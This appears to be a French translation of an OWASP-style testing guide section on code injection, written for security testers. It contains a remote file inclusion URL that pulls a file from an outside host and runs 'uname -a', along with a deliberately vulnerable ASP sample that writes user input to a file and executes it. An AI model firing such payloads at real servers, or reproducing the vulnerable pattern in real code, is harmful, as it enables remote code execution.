Table of Contents

testing_guide

Résumé

Cette section décrit comment un testeur peeut vérifier s'il est possible d'entrer du code en entrée sur une page Web et le faire exécuter par le serveur web. Plus d'informations sur Injection de code peut être trouvé dans l'article code_injection,

Description

Dans un test d'injection de code, un testeur soumet dans une entrée qui est traitée par le serveur Web comme code dynamique ou comme un fichier inclus. Ces tests peuvent cibler différents moteurs de script côté serveur, par exemple., ASP ou PHP. Une validation correcte de la saisie et l'utilisation de codage sécurisé doivent être utilisés pour se protéger contre ces attaques.

Test boîte noire

Pour les vulnérabilités d'injection PHP:

Le testeur peut injecter du code en utilisant dans la chaîne de requête (dans cet exemple, une URL malveillante), un fichier à inclure:

http://www.example.com/uptime.php?pin=http://www.example2.com/packx1/cs.jpg?&cmd=uname%20-a

Résultat attendu:

Le lien malveillant est acceptée en tant que paramètre de la page PHP, qui utilisera plus tard le contenu du fichier inclus.

Test boîte grise

Test pour les vulnérabilités d'injection de code ASP

Examinez le code ASP pour l'utilisation et l'exécution de la saisie utilisateur dans des fonctions. L'utilisateur peut-il entrer des commandes dans le champ de saisie de données? Ici, le code ASP permettra d'économiser des entrées en utilisant un fichier et qui sera ensuite exécuté:

<%
If not isEmpty(Request( "Data" ) ) Then
Dim fso, f
'User input Data is written to a file named data.txt
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile(Server.MapPath( "data.txt" ), 8, True)
f.Write Request("Data") & vbCrLf
f.close
Set f = nothing
Set fso = Nothing
'Data.txt is executed
Server.Execute( "data.txt" )
Else
%>
<form>
<input name="Data" /><input type="submit" name="Enter Data" />
</form>
<%
End If
%>)))

Références